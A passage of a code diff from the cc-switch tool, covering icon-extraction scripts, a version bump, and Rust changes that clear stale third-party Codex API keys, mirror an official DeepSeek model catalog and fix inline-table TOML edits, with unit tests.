cohere: { name: 'cohere', displayName: 'Cohere', category: 'ai-provider', keywords: ['cohere'], defaultColor: '#39594D' },
perplexity: { name: 'perplexity', displayName: 'Perplexity', category: 'ai-provider', keywords: ['perplexity'], defaultColor: '#20808D' },
mistral: { name: 'mistral', displayName: 'Mistral', category: 'ai-provider', keywords: ['mistral'], defaultColor: '#FF7000' },
huggingface: { name: 'huggingface', displayName: 'Hugging Face', category: 'ai-provider', keywords: ['huggingface', 'hf'], defaultColor: '#FFD21E' },
// Cloud Platforms
aws: { name: 'aws', displayName: 'AWS', category: 'cloud', keywords: ['amazon', 'cloud'], defaultColor: '#FF9900' },
azure: { name: 'azure', displayName: 'Azure', category: 'cloud', keywords: ['microsoft', 'cloud'], defaultColor: '#0078D4' },
huawei: { name: 'huawei', displayName: 'Huawei', category: 'cloud', keywords: ['huawei', 'cloud'], defaultColor: '#FF0000' },
cloudflare: { name: 'cloudflare', displayName: 'Cloudflare', category: 'cloud', keywords: ['cloudflare', 'cdn'], defaultColor: '#F38020' },
// Dev Tools
github: { name: 'github', displayName: 'GitHub', category: 'tool', keywords: ['git', 'version control'], defaultColor: '#181717' },
gitlab: { name: 'gitlab', displayName: 'GitLab', category: 'tool', keywords: ['git', 'version control'], defaultColor: '#FC6D26' },
docker: { name: 'docker', displayName: 'Docker', category: 'tool', keywords: ['container'], defaultColor: '#2496ED' },
kubernetes: { name: 'kubernetes', displayName: 'Kubernetes', category: 'tool', keywords: ['k8s', 'container'], defaultColor: '#326CE5' },
vscode: { name: 'vscode', displayName: 'VS Code', category: 'tool', keywords: ['editor', 'ide'], defaultColor: '#007ACC' },
// Others
settings: { name: 'settings', displayName: 'Settings', category: 'other', keywords: ['config', 'preferences'], defaultColor: '#6B7280' },
folder: { name: 'folder', displayName: 'Folder', category: 'other', keywords: ['directory'], defaultColor: '#6B7280' },
file: { name: 'file', displayName: 'File', category: 'other', keywords: ['document'], defaultColor: '#6B7280' },
link: { name: 'link', displayName: 'Link', category: 'other', keywords: ['url', 'hyperlink'], defaultColor: '#6B7280' },
};
export function getIconMetadata(name: string): IconMetadata | undefined {
return iconMetadata[name.toLowerCase()];
}
export function searchIcons(query: string): string[] {
const lowerQuery = query.toLowerCase();
return Object.values(iconMetadata)
.filter(meta =>
meta.name.includes(lowerQuery) ||
meta.displayName.toLowerCase().includes(lowerQuery) ||
meta.keywords.some(k => k.includes(lowerQuery))
)
.map(meta => meta.name);
}
`;
fs.writeFileSync(path.join(OUTPUT_DIR, 'metadata.ts'), metadataContent);
console.log('✓ Generated: src/icons/extracted/metadata.ts');
// 生成 README
const readmeContent = `# Extracted Icons
This directory contains extracted icons from @lobehub/icons-static-svg.
## Statistics
- Total extracted: ${extracted} icons
- Not found: ${notFound.length} icons
## Extracted Icons
${ALL_ICONS.filter(name => !notFound.includes(name)).map(name => `- ${name}`).join('\n')}
${notFound.length > 0 ? `\n## Not Found\n${notFound.map(name => `- ${name}`).join('\n')}` : ''}
## Usage
\`\`\`typescript
import { getIcon, hasIcon, iconList } from './extracted';
// Get icon SVG
const svg = getIcon('openai');
// Check if icon exists
if (hasIcon('openai')) {
// ...
}
// Get all available icons
console.log(iconList);
\`\`\`
---
Last updated: ${new Date().toISOString()}
Generated by: scripts/extract-icons.js
`;
fs.writeFileSync(path.join(OUTPUT_DIR, 'README.md'), readmeContent);
console.log('✓ Generated: src/icons/extracted/README.md');
console.log('\n========================================');
console.log('✅ Extraction complete!\n');
console.log(` ✓ Extracted: ${extracted} icons`);
console.log(` ✗ Not found: ${notFound.length} icons`);
console.log(` 📉 Bundle size reduction: ~${Math.round((1 - extracted / 723) * 100)}%`);
console.log('========================================\n');
-96
View File
@@ -1,96 +0,0 @@
const fs = require('fs');
const path = require('path');
const ICONS_DIR = path.join(__dirname, '../src/icons/extracted');
// List of "Famous" icons to keep
// Based on common AI providers and tools
const KEEP_LIST = [
// AI Providers
'openai', 'anthropic', 'claude', 'google', 'gemini', 'gemma', 'palm',
'microsoft', 'azure', 'copilot', 'meta', 'llama',
'alibaba', 'qwen', 'tencent', 'hunyuan', 'baidu', 'wenxin',
'bytedance', 'doubao', 'deepseek', 'moonshot', 'kimi', 'stepfun',
'zhipu', 'chatglm', 'glm', 'minimax', 'mistral', 'cohere',
'perplexity', 'huggingface', 'midjourney', 'stability',
'xai', 'grok', 'yi', 'zeroone', 'ollama',
'packycode',
// Cloud/Tools
'aws', 'googlecloud', 'huawei', 'cloudflare',
'github', 'githubcopilot', 'vercel', 'notion', 'discord',
'gitlab', 'docker', 'kubernetes', 'vscode', 'settings', 'folder', 'file', 'link'
];
// Get all SVG files
const files = fs.readdirSync(ICONS_DIR).filter(file => file.endsWith('.svg'));
console.log(`Scanning ${files.length} files...`);
let keptCount = 0;
let deletedCount = 0;
let renamedCount = 0;
// First pass: Identify files to keep and prefer color versions
const fileMap = {}; // name -> { hasColor: bool, hasMono: bool }
files.forEach(file => {
const isColor = file.endsWith('-color.svg');
const baseName = isColor ? file.replace('-color.svg', '') : file.replace('.svg', '');
if (!fileMap[baseName]) {
fileMap[baseName] = { hasColor: false, hasMono: false };
}
if (isColor) {
fileMap[baseName].hasColor = true;
} else {
fileMap[baseName].hasMono = true;
}
});
// Second pass: Process files
Object.keys(fileMap).forEach(baseName => {
const info = fileMap[baseName];
const shouldKeep = KEEP_LIST.includes(baseName);
if (!shouldKeep) {
// Delete both versions if not in keep list
if (info.hasColor) {
fs.unlinkSync(path.join(ICONS_DIR, `${baseName}-color.svg`));
deletedCount++;
}
if (info.hasMono) {
fs.unlinkSync(path.join(ICONS_DIR, `${baseName}.svg`));
deletedCount++;
}
return;
}
// If keeping, prefer color
if (info.hasColor) {
// Rename color version to base version (overwrite mono if exists)
const colorPath = path.join(ICONS_DIR, `${baseName}-color.svg`);
const targetPath = path.join(ICONS_DIR, `${baseName}.svg`);
try {
// If mono exists, it will be overwritten/replaced
fs.renameSync(colorPath, targetPath);
renamedCount++;
keptCount++;
} catch (e) {
console.error(`Error renaming ${baseName}:`, e);
}
} else if (info.hasMono) {
// Keep mono if no color version
keptCount++;
}
});
console.log(`\nCleanup complete:`);
console.log(`- Kept: ${keptCount}`);
console.log(`- Deleted: ${deletedCount}`);
console.log(`- Renamed (Color -> Standard): ${renamedCount}`);
// Regenerate index and metadata
require('./generate-icon-index.js');
+1 -1
View File
@@ -758,7 +758,7 @@ dependencies = [
[[package]]
name = "cc-switch"
version = "3.18.0"
version = "3.19.1"
dependencies = [
"anyhow",
"arboard",
+6 -2
View File
@@ -1,6 +1,6 @@
[package]
name = "cc-switch"
version = "3.18.0"
version = "3.19.1"
description = "All-in-One Assistant for Claude Code, Codex & Gemini CLI"
authors = ["Jason Young"]
license = "MIT"
@@ -91,7 +91,11 @@ webkit2gtk = { version = "2.0.1", features = ["v2_16"] }
[target.'cfg(target_os = "windows")'.dependencies]
winreg = "0.52"
windows-sys = { version = "0.61", features = ["Win32_Globalization", "Win32_UI_Shell"] }
windows-sys = { version = "0.61", features = [
"Win32_Globalization",
"Win32_Storage_FileSystem",
"Win32_UI_Shell",
] }
[target.'cfg(all(target_os = "windows", target_arch = "aarch64"))'.dependencies]
rquickjs = { version = "0.8", features = ["bindgen"] }
+599 -43
View File
@@ -417,6 +417,93 @@ pub fn codex_auth_has_oauth_login_material(auth: &Value) -> bool {
})
}
/// True only when the auth carries material Codex itself authenticates with
/// ahead of the API-key fallback: OAuth tokens or another first-class login
/// carrier. Unlike `codex_auth_has_oauth_login_material`, pure metadata such
/// as `last_refresh` or `tokens.account_id` does NOT count — metadata must not
/// shield a stale third-party `OPENAI_API_KEY` from post-switch cleanup.
pub fn codex_auth_has_credential_login_material(auth: &Value) -> bool {
let Some(obj) = auth.as_object() else {
return false;
};
let value_present = |value: &Value| match value {
Value::Null => false,
Value::String(text) => !text.trim().is_empty(),
Value::Array(items) => !items.is_empty(),
Value::Object(map) => !map.is_empty(),
_ => true,
};
if ["personal_access_token", "agent_identity", "bedrock_api_key"]
.iter()
.any(|key| obj.get(*key).is_some_and(value_present))
{
return true;
}
obj.get("tokens")
.and_then(Value::as_object)
.is_some_and(|tokens| {
["id_token", "access_token", "refresh_token"]
.iter()
.any(|key| tokens.get(*key).is_some_and(value_present))
})
}
/// True when live `auth.json` is the shape a preserve-off third-party switch
/// leaves behind: an `OPENAI_API_KEY` (possibly alongside metadata like
/// `auth_mode` / `last_refresh`) with no real login credential next to it.
pub fn codex_live_auth_is_stale_third_party_residue(live_auth: &Value) -> bool {
if codex_auth_has_credential_login_material(live_auth) {
return false;
}
live_auth
.get("OPENAI_API_KEY")
.and_then(Value::as_str)
.map(str::trim)
.is_some_and(|key| !key.is_empty())
}
/// After a normal switch to an official provider that carries no login
/// material of its own, delete a live `auth.json` that only holds a stale
/// third-party API key, so Codex shows its login screen instead of sending
/// the wrong key to the official endpoint (401 with no way to re-login).
///
/// Deleting the file — not writing `{}` — is deliberate: Codex resolves an
/// empty object to ChatGPT mode without tokens and errors at bootstrap,
/// while a missing file yields NotAuthenticated and the login screen,
/// matching Codex's own logout.
///
/// Callers must only invoke this after the outgoing provider was
/// successfully backfilled into the DB — that backfill holds the only other
/// copy of the third-party key. The switch backfill intentionally lacks the
/// proxy-side "no credentials in the builtin official row" guard
/// (`services/proxy.rs` `sync_live_config_to_provider`): that asymmetry is
/// what heals official API-key logins into the DB row, and this cleanup's
/// safety depends on it — do not align the two guards.
///
/// Returns Ok(true) when the file was deleted.
pub fn clear_stale_codex_live_auth_after_official_switch(
db_auth: &Value,
) -> Result<bool, AppError> {
if codex_auth_has_login_material(db_auth) {
// A material-carrying official provider gets a full auth write;
// nothing stale can remain.
return Ok(false);
}
let auth_path = get_codex_auth_path();
if !auth_path.exists() {
return Ok(false);
}
let live_auth: Value = read_json_file(&auth_path)?;
if !codex_live_auth_is_stale_third_party_residue(&live_auth) {
return Ok(false);
}
delete_file(&auth_path)?;
Ok(true)
}
pub fn should_restore_codex_provider_token_for_backfill(
category: Option<&str>,
template_settings: &Value,
@@ -466,17 +553,20 @@ fn codex_catalog_model_entry(
spec: &CodexCatalogModelSpec,
priority: usize,
profile: CodexCatalogToolProfile,
default_context_window: u64,
) -> Value {
let mut entry = template.clone();
let Some(entry_obj) = entry.as_object_mut() else {
return json!({});
};
let display_name = spec.display_name.as_deref().unwrap_or(&spec.model);
let context_window = spec.context_window.unwrap_or(default_context_window);
entry_obj.insert("slug".to_string(), json!(spec.model));
entry_obj.insert("display_name".to_string(), json!(spec.display_name));
entry_obj.insert("description".to_string(), json!(spec.display_name));
entry_obj.insert("context_window".to_string(), json!(spec.context_window));
entry_obj.insert("max_context_window".to_string(), json!(spec.context_window));
entry_obj.insert("display_name".to_string(), json!(display_name));
entry_obj.insert("description".to_string(), json!(display_name));
entry_obj.insert("context_window".to_string(), json!(context_window));
entry_obj.insert("max_context_window".to_string(), json!(context_window));
entry_obj.insert("priority".to_string(), json!(1000 + priority));
entry_obj.insert("additional_speed_tiers".to_string(), json!([]));
entry_obj.insert("service_tiers".to_string(), json!([]));
@@ -535,8 +625,13 @@ fn codex_catalog_model_entry(
#[derive(Debug, Clone, PartialEq, Eq)]
struct CodexCatalogModelSpec {
model: String,
display_name: String,
context_window: u64,
/// Explicit user value only. Entries fall back to the model id — except
/// official vendor catalog entries, which keep the vendor's display name.
display_name: Option<String>,
/// Explicit user value only. Entries fall back to the config's
/// `model_context_window` (or 128k) — except official vendor catalog
/// entries, which keep the vendor's declared window.
context_window: Option<u64>,
/// Per-row override for the native template's `supports_parallel_tool_calls`
/// (e.g. MiniMax=true, MiMo=false). Only consulted for `NativeResponses`.
supports_parallel_tool_calls: Option<bool>,
@@ -552,7 +647,7 @@ struct CodexCatalogModelSpec {
base_instructions: Option<String>,
}
fn codex_catalog_model_specs(settings: &Value, config_text: &str) -> Vec<CodexCatalogModelSpec> {
fn codex_catalog_model_specs(settings: &Value) -> Vec<CodexCatalogModelSpec> {
let Some(models) = settings
.get("modelCatalog")
.and_then(|catalog| catalog.get("models"))
@@ -561,8 +656,6 @@ fn codex_catalog_model_specs(settings: &Value, config_text: &str) -> Vec<CodexCa
return Vec::new();
};
let default_context_window =
extract_codex_top_level_u64(config_text, "model_context_window").unwrap_or(128_000);
let mut seen = std::collections::HashSet::new();
let mut specs = Vec::new();
@@ -586,13 +679,12 @@ fn codex_catalog_model_specs(settings: &Value, config_text: &str) -> Vec<CodexCa
.and_then(|value| value.as_str())
.map(str::trim)
.filter(|name| !name.is_empty())
.unwrap_or(model);
.map(str::to_string);
let context_window = parse_codex_positive_u64(
model_config
.get("contextWindow")
.or_else(|| model_config.get("context_window")),
)
.unwrap_or(default_context_window);
);
let supports_parallel_tool_calls = model_config
.get("supportsParallelToolCalls")
@@ -621,7 +713,7 @@ fn codex_catalog_model_specs(settings: &Value, config_text: &str) -> Vec<CodexCa
specs.push(CodexCatalogModelSpec {
model: model.to_string(),
display_name: display_name.to_string(),
display_name,
context_window,
supports_parallel_tool_calls,
input_modalities,
@@ -891,6 +983,122 @@ fn load_codex_native_responses_template() -> Value {
serde_json::from_str(text).expect("bundled codex native responses template must be valid JSON")
}
/// Hosts whose native `/responses` gateway publishes an OFFICIAL Codex model
/// catalog (models.json) that cc-switch mirrors verbatim. Matched against
/// `base_url` ONLY — deliberately NOT by model brand, unlike
/// `CODEX_WEB_SEARCH_REJECT_MODEL_PREFIXES`: the official entries GRANT
/// capabilities (freeform `apply_patch`, vendor harness), and an aggregator
/// merely hosting the same model may not honor them. The safe failure
/// direction for aggregators is the neutral template (degraded but working);
/// wrongly granting freeform apply_patch would reintroduce the custom-tool
/// rejection bug.
const CODEX_DEEPSEEK_OFFICIAL_CATALOG_HOSTS: &[&str] = &["deepseek.com"];
/// Bundled copy of DeepSeek's official Codex models.json — the exact file
/// their one-click integration script writes (api-docs.deepseek.com →
/// quick_start/agent_integrations/codex): freeform apply_patch, GPT-5 harness
/// base_instructions, low/high/max reasoning levels, web_search supported,
/// 1m context. Declares `minimal_client_version` 0.144.0.
fn load_codex_deepseek_official_catalog_models() -> Vec<Value> {
let text = include_str!("resources/codex_deepseek_catalog_template.json");
let catalog: Value =
serde_json::from_str(text).expect("bundled DeepSeek official catalog must be valid JSON");
catalog
.get("models")
.and_then(|models| models.as_array())
.cloned()
.unwrap_or_default()
}
/// Official vendor catalog entries for the provider in `config_text`, if its
/// gateway ships one. Only the `NativeResponses` profile qualifies: ProxyChat
/// runs through cc-switch's converter (gpt-5.5 template contract) and the
/// Anthropic transform drops custom tools, so both must keep their existing
/// templates. Host-driven like the web_search blacklist, so existing providers
/// pick it up on their next switch without a re-save.
fn codex_official_vendor_catalog_models(
config_text: &str,
profile: CodexCatalogToolProfile,
) -> Option<Vec<Value>> {
if profile != CodexCatalogToolProfile::NativeResponses {
return None;
}
let base_url = extract_codex_base_url(config_text)?.to_ascii_lowercase();
if CODEX_DEEPSEEK_OFFICIAL_CATALOG_HOSTS
.iter()
.any(|host| base_url.contains(host))
{
let models = load_codex_deepseek_official_catalog_models();
if !models.is_empty() {
return Some(models);
}
}
None
}
/// Build one catalog entry from an official vendor catalog: match the user's
/// model id against the vendor entries by slug; an unknown id clones the
/// vendor's first (flagship) entry so it keeps the gateway's capability
/// profile without impersonating the flagship. The official entry is
/// authoritative — no tool-profile stripping — but explicit per-row user
/// overrides still win.
fn codex_vendor_catalog_model_entry(
vendor_models: &[Value],
spec: &CodexCatalogModelSpec,
priority: usize,
) -> Value {
let matched = vendor_models.iter().find(|entry| {
entry
.get("slug")
.and_then(|slug| slug.as_str())
.is_some_and(|slug| slug.eq_ignore_ascii_case(&spec.model))
});
let mut entry = match matched {
Some(found) => found.clone(),
None => vendor_models.first().cloned().unwrap_or_else(|| json!({})),
};
let Some(entry_obj) = entry.as_object_mut() else {
return json!({});
};
if matched.is_none() {
let display_name = spec.display_name.as_deref().unwrap_or(&spec.model);
entry_obj.insert("slug".to_string(), json!(spec.model));
entry_obj.insert("display_name".to_string(), json!(display_name));
entry_obj.insert("description".to_string(), json!(display_name));
entry_obj.insert("priority".to_string(), json!(1000 + priority));
}
// Explicit user overrides win over the official entry; absent values keep
// the vendor's declarations (context window, modalities, harness, ...).
if let Some(display_name) = spec.display_name.as_deref() {
entry_obj.insert("display_name".to_string(), json!(display_name));
}
if let Some(context_window) = spec.context_window {
entry_obj.insert("context_window".to_string(), json!(context_window));
entry_obj.insert("max_context_window".to_string(), json!(context_window));
}
if let Some(parallel) = spec.supports_parallel_tool_calls {
entry_obj.insert("supports_parallel_tool_calls".to_string(), json!(parallel));
}
if let Some(modalities) = spec.input_modalities.as_deref() {
entry_obj.insert("input_modalities".to_string(), json!(modalities));
}
if let Some(base_instructions) = spec
.base_instructions
.as_deref()
.map(str::trim)
.filter(|text| !text.is_empty())
{
entry_obj.insert("base_instructions".to_string(), json!(base_instructions));
}
// Defensive: if a future codex parser requires a field the vendor file
// predates, backfill only whitelisted parser-required keys.
fill_template_fields_from_static(&mut entry);
entry
}
/// Fields Codex's external-catalog parser REQUIRES (no serde default): when
/// one is missing Codex rejects the whole catalog file at startup ("missing
/// field ..."). `base_instructions` is the other known required field; the
@@ -973,11 +1181,14 @@ fn codex_model_catalog_from_specs(
specs: &[CodexCatalogModelSpec],
template: &Value,
profile: CodexCatalogToolProfile,
default_context_window: u64,
) -> Value {
let entries: Vec<Value> = specs
.iter()
.enumerate()
.map(|(index, spec)| codex_catalog_model_entry(template, spec, index, profile))
.map(|(index, spec)| {
codex_catalog_model_entry(template, spec, index, profile, default_context_window)
})
.collect();
json!({ "models": entries })
@@ -988,11 +1199,28 @@ fn codex_model_catalog_from_settings(
config_text: &str,
profile: CodexCatalogToolProfile,
) -> Result<Option<Value>, AppError> {
let specs = codex_catalog_model_specs(settings, config_text);
let specs = codex_catalog_model_specs(settings);
if specs.is_empty() {
return Ok(None);
}
// Vendors that publish an OFFICIAL Codex models.json for their native
// `/responses` gateway get it mirrored verbatim instead of the neutral
// template: its freeform apply_patch, vendor harness base_instructions and
// reasoning levels are load-bearing (the harness tells the model to use
// apply_patch, so catalog and harness must stay consistent).
if let Some(vendor_models) = codex_official_vendor_catalog_models(config_text, profile) {
let entries: Vec<Value> = specs
.iter()
.enumerate()
.map(|(index, spec)| codex_vendor_catalog_model_entry(&vendor_models, spec, index))
.collect();
return Ok(Some(json!({ "models": entries })));
}
let default_context_window =
extract_codex_top_level_u64(config_text, "model_context_window").unwrap_or(128_000);
// Native providers use the bundled clean template (no freeform apply_patch,
// no cache dependency); proxy-chat providers keep cloning Codex's gpt-5.5
// entry so the proxy can rewrite custom<->function tools as before.
@@ -1003,7 +1231,10 @@ fn codex_model_catalog_from_settings(
CodexCatalogToolProfile::ProxyChat => load_codex_model_catalog_template()?,
};
Ok(Some(codex_model_catalog_from_specs(
&specs, &template, profile,
&specs,
&template,
profile,
default_context_window,
)))
}
@@ -1424,7 +1655,9 @@ fn remove_codex_experimental_bearer_token(config_text: &str) -> Result<String, A
/// Read the current Codex live settings as a `{ auth, config }` object.
///
/// Missing `auth.json` collapses to `{}` so a config-only third-party install
/// is still importable; both files empty is treated as "no live install".
/// is still importable; both files missing is treated as "no live install".
/// A `config.toml` that exists but is empty is a valid state — e.g. the
/// official seed after stale-auth cleanup — and must stay readable.
pub fn read_codex_live_settings() -> Result<Value, AppError> {
let auth_path = get_codex_auth_path();
let auth_present = auth_path.exists();
@@ -1434,7 +1667,7 @@ pub fn read_codex_live_settings() -> Result<Value, AppError> {
json!({})
};
let cfg_text = read_and_validate_codex_config_text()?;
if !auth_present && cfg_text.trim().is_empty() {
if !auth_present && !get_codex_config_path().exists() {
return Err(AppError::localized(
"codex.live.missing",
"Codex 配置文件不存在",
@@ -1908,25 +2141,53 @@ pub fn update_codex_toml_field(toml_str: &str, field: &str, value: &str) -> Resu
if let Some(provider_key) = model_provider {
// Ensure [model_providers] table exists
if doc.get("model_providers").is_none() {
//
// 用 as_table_like_mut 而非 as_table_mut:用户把配置写成 inline table
// `model_providers = { foo = {...} }`TOML 合法)时 as_table_mut
// 返回 None,会一路掉进下面的顶层 fallback——用户改的 base_url 被写到
// 了错误层级且毫无提示。
if doc
.get("model_providers")
.is_none_or(|item| item.as_table_like().is_none())
{
// 键存在但不是表(`model_providers = 42`)时,下面这行会把用户
// 手写的值替换掉。旧代码在这种形状下会掉进顶层 fallback 而不动
// 它,所以归一化必须留痕——与 mcp/codex.rs、mcp/grokbuild.rs、
// opencode_config.rs 的同款处理保持一致。
if doc
.get("model_providers")
.is_some_and(|item| !item.is_none())
{
log::warn!("config.toml 的 model_providers 不是表,已重置为空表");
}
doc["model_providers"] = toml_edit::table();
}
if let Some(model_providers) = doc["model_providers"].as_table_mut() {
if let Some(model_providers) = doc
.get_mut("model_providers")
.and_then(toml_edit::Item::as_table_like_mut)
{
// Ensure [model_providers.<provider_key>] table exists
if !model_providers.contains_key(&provider_key) {
model_providers[&provider_key] = toml_edit::table();
model_providers.insert(&provider_key, toml_edit::table());
}
if let Some(provider_table) = model_providers[&provider_key].as_table_mut() {
if let Some(provider_table) = model_providers
.get_mut(&provider_key)
.and_then(toml_edit::Item::as_table_like_mut)
{
if trimmed.is_empty() {
provider_table.remove(field);
} else {
provider_table[field] = toml_edit::value(trimmed);
provider_table.insert(field, toml_edit::value(trimmed));
}
return Ok(doc.to_string());
}
}
log::warn!(
"config.toml 的 [model_providers.{provider_key}] 结构异常,{field} 改写为顶层字段"
);
}
// Fallback: no model_provider or structure mismatch → top-level field
@@ -2375,6 +2636,65 @@ experimental_bearer_token = "stale-table-key"
);
}
#[test]
fn credential_login_material_only_counts_real_credentials() {
assert!(codex_auth_has_credential_login_material(&json!({
"tokens": { "access_token": "t" }
})));
assert!(codex_auth_has_credential_login_material(&json!({
"tokens": { "refresh_token": "r" }
})));
assert!(codex_auth_has_credential_login_material(&json!({
"personal_access_token": "pat"
})));
// API key and pure metadata are not credentials in this predicate's
// sense — they must not shield a stale key from cleanup.
assert!(!codex_auth_has_credential_login_material(&json!({
"OPENAI_API_KEY": "sk-x"
})));
assert!(!codex_auth_has_credential_login_material(&json!({
"OPENAI_API_KEY": "sk-x",
"last_refresh": "2026-01-01T00:00:00Z",
"tokens": { "account_id": "acct-meta-only" }
})));
assert!(!codex_auth_has_credential_login_material(&json!({})));
}
#[test]
fn stale_third_party_residue_detection() {
// Shapes a preserve-off third-party switch leaves behind: cleared.
assert!(codex_live_auth_is_stale_third_party_residue(&json!({
"OPENAI_API_KEY": "sk-third-party"
})));
assert!(codex_live_auth_is_stale_third_party_residue(&json!({
"auth_mode": "apikey",
"OPENAI_API_KEY": "sk-third-party"
})));
assert!(codex_live_auth_is_stale_third_party_residue(&json!({
"OPENAI_API_KEY": "sk-third-party",
"last_refresh": "2026-01-01T00:00:00Z",
"tokens": { "account_id": "acct-meta-only" }
})));
// Anything carrying a real credential must survive untouched.
assert!(!codex_live_auth_is_stale_third_party_residue(&json!({
"OPENAI_API_KEY": "sk-x",
"tokens": { "access_token": "t" }
})));
assert!(!codex_live_auth_is_stale_third_party_residue(&json!({
"auth_mode": "chatgpt",
"OPENAI_API_KEY": null,
"tokens": { "access_token": "official-oauth-token" }
})));
// Nothing to clear.
assert!(!codex_live_auth_is_stale_third_party_residue(&json!({})));
assert!(!codex_live_auth_is_stale_third_party_residue(&json!({
"OPENAI_API_KEY": ""
})));
}
#[test]
fn prepare_provider_live_config_does_not_create_incomplete_provider_table() {
let input = r#"model_provider = "vendor_x"
@@ -2585,6 +2905,34 @@ model = "gpt-4"
assert_eq!(base_url, "https://fallback.api/v1");
}
#[test]
fn base_url_writes_into_inline_table_provider_section() {
// inline table 是合法 TOML,但 as_table_mut() 对它返回 None。旧代码会因此
// 掉进「写顶层字段」的 fallback:用户改的 base_url 落在错误层级,
// Codex 读不到,且界面毫无提示。
let input = r#"model_provider = "any"
model_providers = { any = { name = "any", base_url = "https://old.api/v1", wire_api = "responses" } }
"#;
let result = update_codex_toml_field(input, "base_url", "https://new.api/v1").unwrap();
let parsed: toml::Value = toml::from_str(&result).unwrap();
assert_eq!(
parsed["model_providers"]["any"]["base_url"].as_str(),
Some("https://new.api/v1"),
"must update the provider section, not a top-level field"
);
assert!(
parsed.get("base_url").is_none(),
"must not leak a top-level base_url fallback"
);
assert_eq!(
parsed["model_providers"]["any"]["wire_api"].as_str(),
Some("responses"),
"sibling fields must survive"
);
}
#[test]
fn clearing_base_url_removes_only_from_correct_section() {
let input = r#"model_provider = "any"
@@ -2779,14 +3127,18 @@ base_url = "https://production.api/v1"
fill_template_fields_from_static(&mut template);
let specs = vec![CodexCatalogModelSpec {
model: "k3".to_string(),
display_name: "Kimi K3".to_string(),
context_window: 262_144,
display_name: Some("Kimi K3".to_string()),
context_window: Some(262_144),
supports_parallel_tool_calls: None,
input_modalities: None,
base_instructions: None,
}];
let catalog =
codex_model_catalog_from_specs(&specs, &template, CodexCatalogToolProfile::ProxyChat);
let catalog = codex_model_catalog_from_specs(
&specs,
&template,
CodexCatalogToolProfile::ProxyChat,
128_000,
);
assert_eq!(
catalog["models"][0]
.get("supports_reasoning_summaries")
@@ -2842,9 +3194,13 @@ base_url = "https://production.api/v1"
]
}
});
let specs = codex_catalog_model_specs(&settings, r#"model_context_window = 128000"#);
let catalog =
codex_model_catalog_from_specs(&specs, &template, CodexCatalogToolProfile::ProxyChat);
let specs = codex_catalog_model_specs(&settings);
let catalog = codex_model_catalog_from_specs(
&specs,
&template,
CodexCatalogToolProfile::ProxyChat,
128_000,
);
let models = catalog
.get("models")
.and_then(|value| value.as_array())
@@ -2977,40 +3333,40 @@ base_url = "https://production.api/v1"
let specs = vec![
CodexCatalogModelSpec {
model: "gpt-5.4".to_string(),
display_name: "GPT 5.4".to_string(),
context_window: 128_000,
display_name: Some("GPT 5.4".to_string()),
context_window: Some(128_000),
supports_parallel_tool_calls: None,
input_modalities: None,
base_instructions: None,
},
CodexCatalogModelSpec {
model: "deepseek/deepseek-v4-pro".to_string(),
display_name: "DeepSeek V4 Pro".to_string(),
context_window: 128_000,
display_name: Some("DeepSeek V4 Pro".to_string()),
context_window: Some(128_000),
supports_parallel_tool_calls: None,
input_modalities: None,
base_instructions: None,
},
CodexCatalogModelSpec {
model: "glm-5.2v".to_string(),
display_name: "GLM 5.2V".to_string(),
context_window: 128_000,
display_name: Some("GLM 5.2V".to_string()),
context_window: Some(128_000),
supports_parallel_tool_calls: None,
input_modalities: None,
base_instructions: None,
},
CodexCatalogModelSpec {
model: "deepseek-v4-flash".to_string(),
display_name: "Explicit Visual Override".to_string(),
context_window: 128_000,
display_name: Some("Explicit Visual Override".to_string()),
context_window: Some(128_000),
supports_parallel_tool_calls: None,
input_modalities: Some(vec!["text".to_string(), "image".to_string()]),
base_instructions: None,
},
CodexCatalogModelSpec {
model: "custom-text-alias".to_string(),
display_name: "Explicit Text Override".to_string(),
context_window: 128_000,
display_name: Some("Explicit Text Override".to_string()),
context_window: Some(128_000),
supports_parallel_tool_calls: None,
input_modalities: Some(vec!["text".to_string()]),
base_instructions: None,
@@ -3022,7 +3378,7 @@ base_url = "https://production.api/v1"
CodexCatalogToolProfile::NativeResponses,
CodexCatalogToolProfile::Anthropic,
] {
let catalog = codex_model_catalog_from_specs(&specs, &template, profile);
let catalog = codex_model_catalog_from_specs(&specs, &template, profile, 128_000);
let models = catalog["models"].as_array().expect("models array");
let modalities = |slug: &str| {
models
@@ -3073,6 +3429,205 @@ base_url = "https://production.api/v1"
);
}
const DEEPSEEK_NATIVE_CONFIG: &str = r#"model = "deepseek-v4-flash"
model_provider = "custom"
[model_providers.custom]
name = "deepseek"
base_url = "https://api.deepseek.com"
wire_api = "responses"
"#;
#[test]
fn deepseek_host_native_catalog_mirrors_official_entries() {
// DeepSeek publishes an official Codex models.json (freeform
// apply_patch + GPT-5 harness + low/high/max reasoning levels). For a
// deepseek.com native provider the generated catalog must mirror it
// verbatim instead of the stripped neutral template — the harness
// tells the model to use apply_patch, so stripping the tool while
// keeping the harness would be self-inconsistent.
let settings = json!({
"modelCatalog": {
"models": [
{ "model": "deepseek-v4-flash", "displayName": "DeepSeek V4 Flash" },
{ "model": "deepseek-v4-pro", "contextWindow": 500_000 }
]
}
});
let catalog = codex_model_catalog_from_settings(
&settings,
DEEPSEEK_NATIVE_CONFIG,
CodexCatalogToolProfile::NativeResponses,
)
.expect("vendor catalog generation should not error")
.expect("non-empty modelCatalog must yield a catalog");
let flash = &catalog["models"][0];
assert_eq!(
flash.get("slug").and_then(|v| v.as_str()),
Some("deepseek-v4-flash")
);
assert_eq!(
flash.get("apply_patch_tool_type").and_then(|v| v.as_str()),
Some("freeform"),
"official DeepSeek entries keep the freeform apply_patch grant"
);
assert!(
flash
.get("base_instructions")
.and_then(|v| v.as_str())
.is_some_and(|s| s.starts_with("You are Codex, an agent based on GPT-5")),
"official GPT-5 harness must survive verbatim"
);
let efforts: Vec<&str> = flash["supported_reasoning_levels"]
.as_array()
.expect("official reasoning levels array")
.iter()
.filter_map(|level| level.get("effort").and_then(|v| v.as_str()))
.collect();
assert_eq!(efforts, vec!["low", "high", "max"]);
assert_eq!(flash.get("supports_search_tool"), Some(&json!(true)));
assert_eq!(
flash.get("web_search_tool_type").and_then(|v| v.as_str()),
Some("text")
);
assert_eq!(
flash.get("supports_reasoning_summaries"),
Some(&json!(true))
);
assert_eq!(flash.get("input_modalities"), Some(&json!(["text"])));
assert!(
flash.get("model_messages").is_some(),
"official entries are mirrored verbatim, incl. model_messages"
);
// No explicit contextWindow on the row: the official 1m window must
// survive instead of being clobbered by the 128k default.
assert_eq!(
flash.get("context_window").and_then(|v| v.as_u64()),
Some(1_048_576)
);
// Explicit user display name still wins over the official one.
assert_eq!(
